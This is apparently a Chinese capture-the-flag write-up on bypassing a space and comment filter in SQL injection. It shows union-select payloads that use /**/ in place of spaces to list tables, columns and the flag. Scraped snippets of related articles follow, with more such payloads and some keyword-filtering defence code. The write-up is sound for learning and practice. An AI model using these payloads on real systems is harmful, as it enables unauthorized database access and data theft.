1、地址:http://ctf5.shiyanbar.com/web/index_2.php(过滤了空格和--+等注释符)

思路:确定注入参数值类型,直接输入单引号,根据报错信息确定参数值类型为字符型,如下图所示。

2、正常思路输入' or '1'='1,直接报错,信息为SQLi detected!,首先猜测or被过滤,直接去掉or,继续输入' '1'='1,

仍然报错,信息为SQLi detected!,猜测空格被过滤,直接输入’or‘1’=‘1,如下图所示,确定空格被过滤。

3、尝试使用多行注释符(块注释符)、一对英文括号、换行符、加号来代替空格。

第一次尝试:快注释符/**/

输入'/**/or/**/'1'='1

输入'/**/or/**/'1'='2,无任何返回,确定块注释符可以使用。

之后分别尝试括号、换行符和加号,均不可使用,最终采用块注释符。

4、爆当前数据库中的表

'/**/union/**/select/**/concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/having'1'='1

5、爆flag表中字段和值

'/**/union/**/select/**/concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'/**/having/**/'1'='1

'/**/union/**/select/**/flag/**/from/**/flag/**/having/**/'1'='1

SQL注入(过滤空格和--+等注释符)的更多相关文章

  1. ctfhub技能树—sql注入—过滤空格

    手注 查询数据库 -1/**/union/**/select/**/database(),2 查询表名 -1/**/union/**/select/**/group_concat(table_name ...

  2. sql注入过滤的公共方法

    /// <summary> ///SQL注入过滤 /// </summary> /// <param name="InText">要过滤的字符串 ...

  3. 【转载】C#防SQL注入过滤危险字符信息

    不过是java开发还是C#开发或者PHP的开发中,都需要关注SQL注入攻击的安全性问题,为了保证客户端提交过来的数据不会产生SQL注入的风险,我们需要对接收的数据进行危险字符过滤来防范SQL注入攻击的 ...

  4. php防sql注入过滤代码

    防止sql注入的函数,过滤掉那些非法的字符,提高sql安全性,同时也可以过滤XSS的攻击. function filter($str) { if (empty($str)) return false; ...

  5. Python sql注入 过滤字符串的非法字符

    #coding:utf8 #在开发过程中,要对前端传过来的数据进行验证,防止sql注入攻击,其中的一个方案就是过滤用户传过来的非法的字符 def sql_filter(sql, max_length= ...

  6. sql注入过滤了#,--+怎么办

    题目是NCTF2018的web题目 第一段是错误的思路,第二段是晚上有思考后发现的直接看第二段吧. ① ?id=1'会直接出来报错提示. 猜测使用单引号保护id. 另外一打空格就提示you hacke ...

  7. 防止sql注入,过滤敏感关键字

    //sql过滤关键字 public static bool CheckKeyWord(string sWord) { //过滤关键字 string StrKeyWord = @"select ...

  8. java过滤防止sql注入过滤

    /** * 过滤特殊字符 * @author: Simon * @date: 2017年8月31日 下午1:47:56 * @param str * @return */ public static ...

  9. 【数据库】 防止sql注入,过滤敏感关键字

    private bool FilterIllegalChar(string sWord) { var result = false; var keyWord = @"select|inser ...

随机推荐

  1. 使用 insertBefore 和insertAfter,在指定位置追加与删除元素

    来自于<sencha touch 权威指南> ----------------------------------- 除 append 和 overwrite 外,还可以使用 insert ...

  2. Part10-C语言环境初始化-栈初始化lesson1

    1.概念解析 ARM系统使用的是满栈! ARM采用降栈!!! 栈帧 每一个进程会有一个栈,该进程中的每一个函数会分割栈的一部分,那么每一个函数使用的那部分栈就叫做栈帧.那么所有栈帧组成了整个栈. 子函 ...

  3. 5.python之pip安装模块失败

    本文是篇水文,主要是在学习python过程中总是遇到使用pip安装一些模块失败,记录一下安装模块解决办法 第一种方法: 首先安装wheel模块: pip install wheel 如果wheel都安 ...

  4. HDU 4081 Peach Blossom Spring (最小生成树+dfs)

    题意:给定一个 n 个点和相应的权值,要求你用 n-1 条边连接起来,其中一条边是魔法边,不用任何费用,其他的边是长度,求该魔法边的两端的权值与其他边费用的尽量大. 析:先求出最小生成树,然后再枚举每 ...

  5. SQL cast 函数

    (1).CAST()函数的参数是一个表达式,它包括用AS关键字分隔的源值和目标数据类型.以下例子用于将文本字符串'12'转换为整型: SELECT CAST('12' AS int) (2).返回值是 ...

  6. C++程序的目录结构、编译、打包、分发

    管理C++的第三方库以及编译 第三方库这个说法,不知道出自哪里,但一般是指开发者,系统/平台提供商之外的第三个参与者提供的程序库. 大多数开源软件库在软件系统中都是第三方库. 完全不使用库的开发,在9 ...

  7. Tomcat调优总结

    Tomcat 优化分为系统优化,Java虚拟机调优,Tomcat本身的优化. Tomcat 如何起停 ./catalina.sh stop ./catalina.sh start/sbin/servi ...

  8. C#静态类 静态方法与非静态方法比较

    静态类 在类(class)上加入static修饰,表示该类无法被实例化,并将该类中,无法实例化变量或函数 静态类的主要特性 仅包含静态成员 无法实例化 静态类的本质,时一个抽象的密封类,所以不能被继承 ...

  9. 「BZOJ 2809」「APIO 2012」Dispatching「启发式合并」

    题意 给定一个\(1\)为根的树,每个点有\(c,w\)两个属性,你需要从某个点\(u\)子树里选择\(k\)个点,满足选出来的点\(\sum_{i=1}^k w(i)\leq m\),最大化\(k\ ...

  10. 日期 Date()

    1.Date 对象用于处理日期和时间.创建 Date 对象的语法:var myDate=new Date()Date 对象会自动把当前日期和时间保存为其初始值.2.参数形式有以下5种: new Dat ...